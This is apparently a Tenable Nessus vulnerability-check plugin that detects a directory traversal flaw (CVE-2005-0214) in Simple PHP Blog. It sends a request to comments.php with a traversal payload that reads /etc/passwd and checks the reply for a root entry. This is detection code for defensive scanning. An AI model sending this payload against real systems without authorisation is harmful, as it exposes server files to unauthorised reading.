| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(16137);
script_version("1.19");
script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
script_cve_id("CVE-2005-0214");
script_bugtraq_id(12193);
script_name(english:"Simple PHP Blog comments.php Traversal Arbitrary File Access");
script_summary(english:"Simple PHP Blog dir traversal");
script_set_attribute(attribute:"synopsis", value:
"It is possible to access arbitrary files from the remote
system.");
script_set_attribute(attribute:"description", value:
"The remote version of Simple PHP Blog allows for retrieval of
arbitrary files from the web server. These issues are due to a
failure of the application to properly sanitize user-supplied input
data.");
script_set_attribute(attribute:"solution", value:
"Upgrade at least to version 0.3.7 r2.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"plugin_publication_date", value:"2005/01/12");
script_set_attribute(attribute:"vuln_publication_date", value:"2005/01/07");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:alexander_palmo:simple_php_blog");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2005-2020 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("sphpblog_detect.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_keys("www/sphpblog");
exit(0);
}
#
# the code
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80, embedded:TRUE);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);
# Test an install.
install = get_kb_item(string("www/", port, "/sphpblog"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
loc = matches[2];
req = http_get(item:string(loc, "/comments.php?y=05&m=01&entry=../../../../../../../etc/passwd"), port:port);
rep = http_keepalive_send_recv(port:port, data:req, bodyonly: 1);
if( !rep )exit(0);
if(egrep(pattern:".*root:.*:0:[01]:.*", string:rep))
security_hole(port);
}
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